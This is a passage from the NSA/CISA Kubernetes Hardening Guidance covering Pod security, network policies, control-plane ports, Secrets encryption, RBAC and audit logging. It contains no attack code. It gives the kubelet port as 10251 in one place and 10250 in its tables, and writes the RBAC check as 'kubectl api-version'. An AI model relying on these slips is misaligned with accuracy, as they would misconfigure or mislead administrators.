communications using Transport Layer Security (TLS) certificates  Set up network policies to isolate resources. Pods and services in different namespaces can still communicate with each other unless additional separation is enforced, such as network policies  Place all credentials and sensitive information in Kubernetes Secrets rather than in configuration files. Encrypt Secrets using a strong encryption method  Authentication and authorization  Disable anonymous login (enabled by default)  Use strong user authentication  Create RBAC policies to limit administrator, user, and service account activity  Log auditing  Enable audit logging (disabled by default) U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 3 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency  Persist logs to ensure availability in the case of node, Pod, or container level failure  Configure a metrics logger  Upgrading and application security practices  Immediately apply security patches and updates  Perform periodic vulnerability scans and penetration tests  Remove components from the environment when they are no longer needed Architectural overview Kubernetes uses a cluster architecture. A Kubernetes cluster is comprised of a number of control planes and one or more physical or virtual machines called worker nodes. The worker nodes host Pods, which contain one or more containers. The container is the executable image that contains a software package and all its dependencies. See Figure 2: Kubernetes architecture. Figure 2: Kubernetes architecture1 The control plane makes decisions about the cluster. This includes scheduling containers to run, detecting/responding to failures, and starting new Pods when the 1 Kubernetes Components by SupriyaSurbi and Fale used under CC BY 4.0 U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 4 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency number of replicas listed in a deployment file is unsatisfied. The following logical components are all part of the control plane:  Controller manager (Default Port: 10252) - monitors the Kubernetes cluster to detect and maintain several aspects of the Kubernetes environment including joining Pods to services, maintaining the correct number of Pods in a set, and responding to the loss of nodes.  Cloud controller manager (Default Port: 10258) - an optional component used for cloud-based deployments. The cloud controller interfaces with the Cloud Service Provider to manage load balancers and virtual networking for the cluster.  Kubernetes Application Programing Interface (API) Server (Default Port: 6443 or 8080) - the interface through which administrators direct Kubernetes. As such, the API server is typically exposed outside of the control plane. The API Server is designed to scale and may exist on multiple control plane nodes.  Etcd® (Default Port Range: 2379-2380) - the persistent backing store where all information regarding the state of the cluster is kept. Etcd is not intended to be manipulated directly but should be managed through the API Server.  Scheduler (Default Port: 10251) - tracks the status of worker nodes and determines where to run Pods. Kube-scheduler is intended to be accessible only from nodes within the control plane. Kubernetes worker nodes are physical or virtual machines dedicated to running containerized applications for the cluster. In addition to running a container engine, worker nodes host the following two services that allow orchestration from the control plane:  Kubelet (Default Port: 10251) - runs on each worker node to orchestrate and verify Pod execution.  Kube-proxy - a network proxy that uses the host’s packet filtering capability to ensure correct packet routing in the Kubernetes cluster. Clusters are commonly hosted using a cloud service provider (CSP) Kubernetes service or on-premises. When designing a Kubernetes environment, organizations should understand their responsibilities in securely maintaining the cluster. CSPs administer most aspects of managed Kubernetes services, but the organization may need to handle some aspects, such as authentication and authorization. ▲Return to Contents U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 5 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Threat model Kubernetes can be a valuable target for data and/or compute power theft. While data theft is traditionally the primary motivation, cyber actors seeking computational power (often for cryptocurrency mining) are also drawn to Kubernetes to harness the underlying infrastructure. In addition to resource theft, cyber actors may also target Kubernetes to cause a denial of service. The following threats represent some of the most likely sources of compromise for a Kubernetes cluster:  Supply Chain Risk - Attack vectors to the supply chain are diverse and challenging to mitigate. Supply chain risk is the risk that an adversary may subvert any element that makes up a system, including product components, services, or personnel that help supply the end product. This can include third- party software and vendors used to create and manage the Kubernetes cluster. Supply chain compromises can affect Kubernetes at multiple levels including:  Container/Application level - The security of applications running in Kubernetes and their third-party dependencies relies on the trustworthiness of the developers and the defense of the development infrastructure. A malicious container or application from a third party could provide cyber actors with a foothold in the cluster.  Infrastructure - The underlying systems hosting Kubernetes have their own software and hardware dependencies. Any compromise of systems used as worker nodes or as part of the control plane could provide cyber actors with a foothold in the cluster.  Malicious Threat Actor - Malicious actors often exploit vulnerabilities to gain access from a remote location. Kubernetes architecture exposes several APIs that cyber actors could potentially leverage for remote exploitation.  Control plane - The Kubernetes control plane has a variety of components that communicate to track and manage the cluster. Cyber actors frequently take advantage of exposed control plane components lacking appropriate access controls.  Worker nodes - In addition to running a container engine, worker nodes host the kubelet and kube-proxy service, which are potentially exploitable by cyber actors. Additionally, worker nodes exist outside of the locked- down control plane and may be more accessible to cyber actors. U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 6 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency  Containerized applications - Applications running inside the cluster are common targets. Applications are frequently accessible outside of the cluster, making them reachable by remote cyber actors. An actor can then pivot from an already compromised Pod or escalate privileges within the cluster using an exposed application’s internally accessible resources.  Insider Threat - Threat actors can exploit vulnerabilities or use privileges given to the individual while working within the organization. Individuals from within the organization are given special knowledge and privileges that can be used against Kubernetes clusters.  Administrator - Kubernetes administrators have control over running containers, including the ability to execute arbitrary commands inside containerized environments. Kubernetes-enforced RBAC authorization can help reduce the risk by restricting access to sensitive capabilities. However, because Kubernetes lacks two-person integrity controls, there must be at least one administrative account capable of gaining control of the cluster. Administrators often have physical access to the systems or hypervisors, which could also be used to compromise the Kubernetes environment.  User - Containerized application users may have knowledge and credentials to access containerized services in the Kubernetes cluster. This level of access could provide sufficient means to exploit either the application itself or other cluster components.  Cloud Service or Infrastructure Provider - Access to physical systems or hypervisors managing Kubernetes nodes could be used to compromise a Kubernetes environment. Cloud Service Providers often have layers of technical and administrative controls to protect systems from privileged administrators. ▲Return to Contents U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 7 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Kubernetes Pod security Pods are the smallest deployable Kubernetes unit and consist of one or more containers. Pods are often a cyber actor’s initial execution environment upon exploiting a container. For this reason, Pods should be hardened to make exploitation more difficult and to limit the impact of a successful compromise. Figure 3: Pod components with sidecar proxy as logging container “Non-root” containers and “rootless” container engines By default, many container services run as the privileged root user, and applications execute inside the container as root despite not requiring privileged execution. Preventing root execution by using non-root containers or a rootless container engine limits the impact of a container compromise. Both of these methods affect the runtime environment significantly, so applications should be thoroughly tested to ensure compatibility. Non-root containers: container engines allow containers to run applications as a non-root user with non-root group membership. Typically, this non-default setting is configured when the container image is built. Appendix A: Example Dockerfile for non-root application shows an example Dockerfile that runs an application as a U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 8 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency non-root user. Alternatively, Kubernetes can load containers into a Pod with SecurityContext:runAsUser specifying a non-zero user. While the runAsUser directive effectively forces non-root execution at deployment, NSA and CISA encourage developers to build container applications to execute as a non-root user. Having non-root execution integrated at build time provides better assurance that applications will function correctly without root privileges. Rootless container engines: some container engines can run in an unprivileged context rather than using a daemon running as root. In this scenario, execution would appear to use the root user from the containerized application’s perspective, but execution is remapped to the engine’s user context on the host. While rootless container engines add an effective layer of security, many are currently released as experimental and should not be used in a production environment. Administrators should be aware of this emerging technology and seek adoption of rootless container engines when vendors release a stable version compatible with Kubernetes. Immutable container file systems By default, containers are permitted mostly unrestricted execution within their own context. A cyber actor who has gained execution in a container can create files, download scripts, and modify the application within the container. Kubernetes can lock down a container’s file system, thereby preventing many post-exploitation activities. However, these limitations also affect legitimate container applications and can potentially result in crashes or anomalous behavior. To prevent damaging legitimate applications, Kubernetes administrators can mount secondary read/write file systems for specific directories where applications require write access. Appendix B: Example deployment template for read-only filesystem shows an example immutable container with a writable directory. Building secure container images Container images are usually created by either building a container from scratch or by building on top of an existing image pulled from a repository. In addition to using trusted repositories to build containers, image scanning is key to ensuring deployed containers are secure. Throughout the container build workflow, images should be scanned to identify outdated libraries, known vulnerabilities, or misconfigurations, such as insecure ports or permissions. U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 9 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Figure 4: A container build workflow, optimized with webhook and admission controller One approach to implementing image scanning is by using an admission controller. An admission controller is a Kubernetes-native feature that can intercept and process requests to the Kubernetes API prior to persistence of the object, but after the request is authenticated and authorized. A custom or proprietary webhook can be implemented to scan any image before it is deployed in the cluster. This admission controller could block deployments if the image doesn’t comply with the organization’s security policies defined in the webhook configuration [4]. U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 10 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Pod Security Policies A Pod Security Policy (PSP) is a cluster-wide policy that specifies security requirements/defaults for Pods to execute within the cluster. While security mechanisms are often specified within Pod/deployment configurations, PSPs establish a minimum security threshold to which all Pods must adhere. Some PSP fields provide default values used when a Pod’s configuration omits a field. Other PSP fields are used to deny the creation of non-conformant Pods. PSPs are enforced through a Kubernetes admission controller, so PSPs can only enforce requirements during Pod creation. PSPs do not affect Pods already running in the cluster. PSPs are useful technical controls to enforce security measures in the cluster. PSPs are particularly effective for clusters managed by admins with tiered roles. In these cases, top-level admins can impose defaults to enforce requirements on lower-level admins. NSA and CISA encourage organizations to adapt the Kubernetes hardened PSP template in Appendix C: Example Pod Security Policy to their needs. The following table describes some widely applicable PSP components. Table I: Pod Security Policy components2 Field Name(s) Usage Recommendations privileged Controls whether Pods can run privileged containers. Set to false. hostPID, hostIPC Controls whether containers can share host process namespaces. Set to false. hostNetwork Controls whether containers can use the host network. Set to false. allowedHostPaths Limits containers to specific paths of the host file system. Use a “dummy” path name (such as “/foo” marked as read-only). Omitting this field results in no admission restrictions being placed on containers. readOnlyRootFilesystem Requires the use of a read only root file system. Set to true when possible. runAsUser, runAsGroup, supplementalGroups, fsGroup Controls whether container applications can run with root privileges or with root group membership. - Set runAsUser to MustRunAsNonRoot. - Set runAsGroup to non-zero (See the example in Appendix C: Example Pod Security Policy). 2 https://kubernetes.io/docs/concepts/policy/pod-security-policy Pod creation adheres to the least restrictive authorized policy. U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 11 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Field Name(s) Usage Recommendations - Set supplementalGroups to non- zero (see example in appendix C). - Set fsGroup to non-zero (See the example in Appendix C: Example Pod Security Policy). allowPrivilegeEscalation Restricts escalation to root privileges. Set to false. This measure is required to effectively enforce “runAsUser: MustRunAsNonRoot” settings. seLinux Sets the SELinux context of the container. If the environment supports SELinux, consider adding SELinux labeling to further harden the container. AppArmor annotations Sets the AppArmor profile used by containers. Where possible, harden containerized applications by employing AppArmor to constrain exploitation. seccomp annotations Sets the seccomp profile used to sandbox containers. Where possible, use a seccomp auditing profile to identify required syscalls for running applications; then enable a seccomp profile to block all other syscalls. Note: PSPs do not automatically apply to the entire cluster for the following reasons:  First, before PSPs can be applied, the PodSecurityPolicy plugin must be enabled for the Kubernetes admission controller, part of kube-apiserver.  Second, the policy must be authorized through RBAC. Administrators should verify the correct functionality of implemented PSPs from each role within their cluster’s organization. Administrators should be cautious in environments with multiple PSPs as Pod creation adheres to the least restrictive authorized policy. The following command describes all Pod Security Policies for the given namespace, which can help to identify problematic overlapping policies: kubectl get psp -n <namespace> Protecting Pod service account tokens By default, Kubernetes automatically provisions a service account when creating a Pod and mounts the account’s secret token within the Pod at runtime. Many containerized applications do not require direct access to the service account as Kubernetes orchestration occurs transparently in the background. If an application is compromised, U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 12 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency account tokens in Pods can be gleaned by cyber actors and used to further compromise the cluster. When an application does not need to access the service account directly, Kubernetes administrators should ensure that Pod specifications disable the secret token being mounted. This can be accomplished using the “automountServiceAccountToken: false” directive in the Pod’s YAML specification. Hardening container engines Some platforms and container engines provide additional options to harden the containerized environments. A powerful example is the use of hypervisors to provide container isolation. Hypervisors rely on hardware to enforce the virtualization boundary rather than the operating system. Hypervisor isolation is more secure than traditional container isolation. Container engines running on the Windows® operating system can be configured to use the built-in Windows hypervisor, Hyper-V®, to enhance security. Additionally, some security focused container engines natively deploy each container within a lightweight hypervisor for defense-in-depth. Hypervisor-backed containers mitigate container breakouts. ▲Return to Contents U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 13 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Network separation and hardening Cluster networking is a central concept of Kubernetes. Communication between containers, Pods, services, and external services must be taken into consideration. By default, there are few network policies in place to separate resources and prevent lateral movement or escalation if a cluster is compromised. Resource separation and encryption can be an effective way to limit a cyber actor’s movement and escalation within a cluster. Namespaces Kubernetes namespaces are one way to partition cluster resources among multiple individuals, teams, or applications within the same cluster. By default, namespaces are not automatically isolated. However, namespaces do assign a label to a scope, which can be used to specify authorization rules via RBAC and networking policies. In addition to network isolation, policies can limit storage and compute resources to provide better control over Pods at the namespace level. There are three namespaces by default, and they cannot be deleted:  kube-system (for Kubernetes components)  kube-public (for public resources)  default (for user resources) User Pods should not be placed in kube-system or kube-public, as these are reserved for cluster services. A YAML file, shown in Appendix D: Example namespace, can be used to create new namespaces. Pods and services in different namespaces can still communicate with each other unless additional separation is enforced, such as network policies. Key points  Use network policies and firewalls to separate and isolate resources.  Secure the control plane.  Encrypt traffic and sensitive data (such as Secrets) at rest. U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 14 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Network policies Network policies control traffic flow between Pods, namespaces, and external IP addresses. By default, no network policies are applied to Pods or namespaces, resulting in unrestricted ingress and egress traffic within the Pod network. Pods become isolated through a network policy that applies to the Pod or the Pod’s namespace. Once a Pod is selected in a network policy, it rejects any connections that are not specifically allowed by any applicable policy object. To create network policies, a network plugin that supports the NetworkPolicy API is required. Pods are selected using the podSelector and/or the namespaceSelector options. An example network policy is shown in Appendix E: Example network policy. Network policy formatting may differ depending on the container network interface (CNI) plugin used for the cluster. Administrators should use a default policy selecting all Pods to deny all ingress and egress traffic and ensure any unselected Pods are isolated. Additional policies could then relax these restrictions for permissible connections. External IP addresses can be used in ingress and egress policies using ipBlock, but different CNI plugins, cloud providers, or service implementations may affect the order of NetworkPolicy processing and the rewriting of addresses within the cluster. Resource policies In addition to network policies, LimitRange and ResourceQuota are two policies that can limit resource usage for namespaces or nodes. A LimitRange policy constrains individual resources per Pod or container within a particular namespace, e.g., by enforcing maximum compute and storage resources. Only one LimitRange constraint can be created per namespace as shown in the example YAML file of Appendix F: Example LimitRange. Kubernetes 1.10 and newer supports LimitRange by default. Unlike LimitRange policies that apply to each Pod or container individually, ResourceQuotas are restrictions placed on the aggregate resource usage for an entire Network Policies Checklist  Use CNI plugin that supports NetworkPolicy API  Create policies that select Pods using podSelector and/or the namespaceSelector  Use a default policy to deny all ingress and egress traffic. Ensures unselected Pods are isolated to all namespaces except kube-system  Use LimitRange and ResourceQuota policies to limit resources on a namespace or Pod level U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 15 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency namespace, such as limits placed on total CPU and memory usage. If a user tries to create a Pod that violates a LimitRange or ResourceQuota policy, the Pod creation fails. An example ResourceQuota policy is shown in Appendix G: Example ResourceQuota. Control plane hardening The control plane is the core of Kubernetes and gives users the ability to view containers, schedule new Pods, read Secrets, and execute commands in the cluster. Because of these sensitive capabilities, the control plane should be highly protected. In addition to secure configurations such as TLS encryption, RBAC, and a strong authentication method, network separation can help prevent unauthorized users from accessing the control plane. The Kubernetes API server runs on ports 6443 and 8080, which should be protected by a firewall to accept only expected traffic. Port 8080, by default, is accessible without TLS encryption from the local machine, and the request bypasses authentication and authorization modules. The insecure port can be disabled using the API server flag --insecure-port=0. The Kubernetes API server should not be exposed to the Internet or an untrusted network. Network policies can be applied to the kube-system namespace to limit internet access to the kube-system. If a default deny policy is implemented to all namespaces, the kube-system namespace must still be able to communicate with other control plane segments and worker nodes. The following table lists the control plane ports and services: Table II: Control plane ports Protocol Direction Port Range Purpose TCP Inbound 6443 or 8080 if not disabled Kubernetes API server TCP Inbound 2379-2380 etcd server client API TCP Inbound 10250 kubelet API TCP Inbound 10251 kube-scheduler TCP Inbound 10252 kube-controller-manager TCP Inbound 10258 cloud-controller-manager (optional) Steps to secure the control plane 1. Set up TLS encryption 2. Set up strong authentication methods 3. Disable access to internet and unnecessary, or untrusted networks 4. Use RBAC policies to restrict access 5. Secure the etcd datastore with authentication and RBAC policies 6. Protect kubeconfig files from unauthorized modifications U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 16 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Etcd The etcd backend database stores state information and cluster Secrets. It is a critical control plane component, and gaining write access to etcd could give a cyber actor root access to the entire cluster. Etcd should only be accessed through the API server where the cluster’s authentication method and RBAC policies can restrict users. The etcd data store can run on a separate control plane node allowing a firewall to limit access to only the API servers. Administrators should set up TLS certificates to enforce HTTPS communication between the etcd server and API servers. The etcd server should be configured to only trust certificates assigned to API servers. Kubeconfig Files The kubeconfig files contain sensitive information about clusters, users, namespaces, and authentication mechanisms. Kubectl uses the configuration files stored in the $HOME/.kube directory on the worker node and control plane local machines. Cyber actors can exploit access to this configuration directory to gain access to and modify configurations or credentials to further compromise the cluster. The configuration files should be protected from unintended changes, and unauthenticated non-root users should be blocked from accessing the files. Worker node segmentation A worker node can be a virtual or physical machine, depending on the cluster’s implementation. Because nodes run the microservices and host the web applications for the cluster, they are often the target of exploits. If a node becomes compromised, an administrator should proactively limit the attack surface by separating the worker nodes from other network segments that do not need to communicate with the worker nodes or Kubernetes services. A firewall can be used to separate internal network segments from the external facing worker nodes or the entire Kubernetes service depending on the network. Examples of services that may need to be separated from the possible attack surface of the worker nodes are confidential databases or internal services that would not need to be internet accessible. The following table lists the worker node ports and services: The etcd backend database is a critical control plane component and the most important piece to secure within the cluster. U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 17 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Table III: Worker node ports Protocol Direction Port Range Purpose TCP Inbound 10250 kubelet API TCP Inbound 30000-32767 NodePort Services Encryption Administrators should configure all traffic in the Kubernetes cluster—including between components, nodes, and the control plane—to use TLS 1.2 or 1.3 encryption. Encryption can be set up during installation or afterward using TLS bootstrapping, detailed in the Kubernetes documentation, to create and distribute certificates to nodes. For all methods, certificates must be distributed amongst nodes to communicate securely. Secrets Kubernetes Secrets maintain sensitive information, such as passwords, OAuth tokens, and SSH keys. Storing sensitive information in Secrets provides greater access control than storing passwords or tokens in YAML files, container images, or environment variables. By default, Kubernetes stores Secrets as unencrypted base64-encoded strings that can be retrieved by anyone with API access. Access can be restricted by applying RBAC policies to the secrets resource. Secrets can be encrypted by configuring data-at-rest encryption on the API server or by using an external Key Management Service (KMS), which may be available through a cloud provider. To enable Secret data-at-rest encryption using the API server, administrators should change the kube-apiserver manifest file to execute using the --encryption-provider-config argument. An example encryption- provider-config file is shown in Appendix H: Example encryption. Using a KMS provider prevents the raw encryption key from being stored on the local disk. To encrypt Secrets with a KMS provider, the encryption-provider-config file should specify the KMS provider as shown in Appendix I: Example KMS configuration. By default, Secrets are stored as unencrypted base64-encoded strings and can be retrieved by anyone with API access. U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 18 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency After applying the encryption-provider-config file, administrators should run the following command to read and encrypt all Secrets: kubectl get secrets --all-namespaces -o json | kubectl replace -f - Protecting sensitive cloud infrastructure Kubernetes is often deployed on virtual machines in a cloud environment. As such, administrators should carefully consider the attack surface of the virtual machines on which the Kubernetes worker nodes are running. In many cases, Pods running on these virtual machines have access to sensitive cloud metadata services on a non-routable address. These metadata services provide cyber actors with information about the cloud infrastructure and possibly even short-lived credentials for cloud resources. Cyber actors abuse these metadata services for privilege escalation [5]. Kubernetes administrators should prevent Pods from accessing cloud metadata services by using network policies or through the cloud configuration policy. Because these services vary based on the cloud provider, administrators should follow vendor guidance to harden these access vectors. ▲Return to Contents U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 19 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Authentication and authorization Authentication and authorization are the primary mechanisms to restrict access to cluster resources. Cyber actors can scan for well-known Kubernetes ports and access the cluster’s database or make API calls without being authenticated if the cluster is misconfigured. User authentication is not a built-in feature of Kubernetes. However, several methods exist for administrators to add authentication to a cluster. Authentication Kubernetes clusters have two types of users: service accounts and normal user accounts. Service accounts handle API requests on behalf of Pods. Authentication is typically managed automatically by Kubernetes through the ServiceAccount Admission Controller using bearer tokens. The bearer tokens are mounted into Pods at well-known locations and can be used from outside the cluster if the tokens are left unsecured. Because of this, access to Pod Secrets should be restricted to those with a need to view them using Kubernetes RBAC. For normal users and admin accounts, there is no automatic authentication method for users. Administrators must add an authentication method to the cluster to implement authentication and authorization mechanisms. Kubernetes assumes that a cluster-independent service manages user authentication. The Kubernetes documentation lists several ways to implement user authentication including client certificates, bearer tokens, authentication plugins, and other authentication protocols. At least one user authentication method should be implemented. When multiple authentication methods are implemented, the first module to successfully authenticate the request short-circuits the evaluation. Administrators should not use weak methods such as static password files. Weak authentication methods could allow cyber actors to authenticate as legitimate users. Anonymous requests are requests that are rejected by other configured authentication methods and are not tied to any individual user or Pod. In a server set up for token authentication with anonymous requests enabled, a request without a token present would be performed as an anonymous Administrators must add an authentication method to the cluster to implement authentication and authorization mechanisms. U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 20 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency request. In Kubernetes 1.6 and newer, anonymous requests are enabled by default. When RBAC is enabled, anonymous requests require explicit authorization of the system:anonymous user or system:unauthenticated group. Anonymous requests should be disabled by passing the --anonymous-auth=false option to the API server. Leaving anonymous requests enabled could allow a cyber actor to access cluster resources without authentication. Role-based access control RBAC is one method to control access to cluster resources based on the roles of individuals within an organization. RBAC is enabled by default in Kubernetes version 1.6 and newer. To check if RBAC is enabled in a cluster using kubectl, execute kubectl api-version. The API version for .rbac.authorization.k8s.io/v1 should be listed if enabled. Cloud Kubernetes services may have a different way of checking whether RBAC is enabled for the cluster. If RBAC is not enabled, start the API server with the --authorization-mode flag in the following command: kube-apiserver --authorization-mode=RBAC Leaving authorization-mode flags, such as AlwaysAllow, in place allows all authorization requests, effectively disabling all authorization and limiting the ability to enforce least privilege for access. Two types of permissions can be set: Roles and ClusterRoles. Roles set permissions for particular namespaces, whereas ClusterRoles set permissions across all cluster resources regardless of namespace. Roles and ClusterRoles can only be used to add permissions. There are no deny rules. If a cluster is configured to use RBAC and anonymous access is disabled, the Kubernetes API server will deny permissions not explicitly allowed. An example RBAC Role is shown in Appendix J: Example pod- reader RBAC Role. A Role or ClusterRole defines a permission but does not tie the permission to a user. RoleBindings and ClusterRoleBindings are used to tie a Role or ClusterRole to a user, group, or service account. RoleBindings grant permissions in Roles or ClusterRoles to users, groups, or service accounts in a defined namespace. ClusterRoles are created independent of namespaces and can then be granted to individuals using a RoleBinding to limit the namespace scope. ClusterRoleBindings grant users, groups, or service accounts ClusterRoles across all cluster resources. An example RBAC RoleBinding and U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 21 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency ClusterRoleBinding is shown in Appendix K: Example RBAC RoleBinding and ClusterRoleBinding. To create or update Roles and ClusterRoles, a user must have the permissions contained in the new role at the same scope or possess explicit permission to perform the escalate verb on the Roles or ClusterRoles resources in the rbac.authorization.k8s.io API group. After a binding is created, the Role or ClusterRole is immutable. The binding must be deleted to change a role. Privileges assigned to users, groups, and service accounts should follow the principle of least privilege, giving only required permissions to resources. Users or user groups can be limited to particular namespaces where required resources reside. By default, a service account is created for each namespace for Pods to access the Kubernetes API. RBAC policies can be used to specify allowed actions from the service accounts in each namespace. Access to the Kubernetes API is limited by creating an RBAC Role or ClusterRole with the appropriate API request verb and desired resource on which the action can be applied. Tools exist that can help audit RBAC policies by printing users, groups, and service accounts with their associated assigned Roles and ClusterRoles. ▲Return to Contents U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 22 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Log auditing Logs capture activity in the cluster. Auditing logs is necessary, not only for ensuring that services are operating and configured as intended, but also for ensuring the security of the system. Systematic audit requirements mandate consistent and thorough checks of security settings to help identify compromises. Kubernetes is capable of capturing audit logs for cluster actions and monitoring basic CPU and memory usage information; however, it does not natively provide in-depth monitoring or alerting services. Logging System administrators running applications within Kubernetes should establish an effective logging, monitoring, and alerting system for their environment. Logging Kubernetes events alone is not enough to provide a full picture of the actions occurring on the system. Logging should also be performed at the host level, application level, and on the cloud if applicable. These logs can then be correlated with any external authentication and system logs as applicable to provide a full view of the actions taken throughout the environment for use by security auditors and incident responders. Within the Kubernetes environment, administrators should monitor/log the following:  API request history  Performance metrics  Deployments  Resource consumption  Operating system calls  Protocols, permission changes  Network traffic Key points  Establish Pod baselines at creation to enable anomalous activity identification.  Perform logging at the host level, application level, and on the cloud if applicable.  Integrate existing network security tools for aggregate scans, monitoring, alerts, and analysis.  Set up local log storage to prevent loss in case of a communication failure. U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 23 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency  Pod scaling When a Pod is created or updated, administrators should capture detailed logs of the network communications, response times, requests, resource consumption, and any other relevant metrics to establish a baseline. As detailed in the previous section, anonymous accounts should be disabled, but logging policies should still record actions taken by anonymous accounts to identify anomalous activity. RBAC policy configurations should be audited periodically and whenever changes occur to the organization’s system administrators. Doing so ensures access controls are adjusted in compliance with the RBAC policy-hardening guidance outlined in the role- based access control section. Audits should include comparisons of current logs to the baseline measurements of normal activities to identify significant changes in any of the logged metrics and events. System administrators should investigate significant changes—e.g., a change in application usage or installation of malicious processes such as a cryptominer—to determine the root cause. Audits of internal and external traffic logs should be conducted to ensure all intended security constraints on connections have been configured properly and are working as intended. Administrators can also use these audits as systems evolve to identify when external access may no longer be needed and can be restricted. Logs can be streamed to an external logging service to ensure availability to security professionals outside of the cluster, identify abnormalities as close to real time as possible, and protect logs from being deleted if a compromise occurs. If using this method, logs should be encrypted during transit with TLS 1.2 or 1.3 to ensure cyber actors cannot access the logs in transit and gain valuable information about the environment. Another precaution to take when utilizing an external log server is to configure the log forwarder within Kubernetes with append-only access to the external storage. This helps protect the externally stored logs from being deleted or overwritten from within the cluster. Kubernetes auditing capabilities are disabled by default, so if no audit policy has been written, nothing is logged. U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 24 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Kubernetes native audit logging configuration The kube-apiserver resides on the Kubernetes control plane and acts as the front end, handling internal and external requests for a cluster. Each request, whether generated by a user, an application, or the control plane, produces an audit event at each stage in its execution. When an audit event registers, the kube-apiserver checks for an audit policy file and applicable rule. If such a rule exists, the server logs the event at the level defined by the first matched rule. Kubernetes’ built-in auditing capabilities are not enabled by default, so if no audit policy has been written, nothing is logged. Cluster administrators must write an audit policy YAML file to establish the rules and specify the desired audit level at which to log each type of audit event. This audit policy file is then passed to the kube-apiserver with the appropriate flags. For a rule to be considered valid, it must specify one of the four audit levels: None, Metadata, Request, or RequestResponse. Appendix L: Audit Policy shows the contents of an audit policy file that logs all events at the RequestResponse level. Appendix M: Example flags with which to submit Audit Policy file to kube-apiserver shows where the kube-apiserver configuration file is located and provides an example of the flags by which the audit policy file can be passed to the kube-apiserver. Appendix M also provides directions for how to mount the volumes and configure the host path if necessary. The kube-apiserver includes configurable logging and webhook backends for audit logging. The logging backend writes the audit events specified to a log file, and the webhook backend can be configured to send the file to an external HTTP API. The -- audit-log-path and --audit-log-maxage flags, set in the example in Appendix M, are two examples of the flags that can be used to configure the log backend, which writes audit events to a file. The log-path flag is the minimum configuration required to enable logging and the only configuration necessary for the logging backend. The default format for these log files is JSON, though this can also be changed if necessary. Additional configuration options for the logging backend can be found in the Kubernetes documentation. To push the audit logs to the organization’s SIEM platform, a webhook backend can be manually configured via a YAML file submitted to the kube-apiserver. An example webhook configuration file and the flags needed to pass the file to the kube- U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 25 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency apiserver to attach the webhook backend are located in Appendix N: Webhook configuration. An exhaustive list of the configuration options, which can be set in the kube-apiserver for the webhook backend, can be found in the Kubernetes documentation. Worker node and container logging There are many ways for logging capabilities to be configured within a Kubernetes architecture. In the built-in method of log management, the kubelet on each node is responsible for managing logs. It stores and rotates log files locally based on its policies for individual file length, storage duration, and storage capacity. These logs are controlled by the kubelet and can be accessed from the command line. The following command prints the logs of a container within a Pod: kubectl logs [-f] [-p] POD [-c CONTAINER] The -f flag may be used if the logs are to be streamed, the -p flag may be used if logs from previous instances of a container exist and are desired, and the -c flag can be used to specify a container if there are more than one in the Pod. If an error occurs that causes a container, Pod, or node to die, the native logging solution in Kubernetes does not provide a method to preserve logs stored in the failed object. NSA and CISA recommend configuring a remote logging solution to preserve logs should a node fail. Options for remote logging include: Remote logging option Reason to use Configuration implementation Running a logging agent on every node to push logs to a backend Gives the node the ability to expose logs or push logs to a backend, preserving them outside of the node in the case of a failure. Configure an independent container in a Pod to run as a logging agent, giving it access to the node’s application log files and configuring it to forward logs to the organization’s SIEM. Using a sidecar container in each Pod to push logs to an output stream Used to push logs to 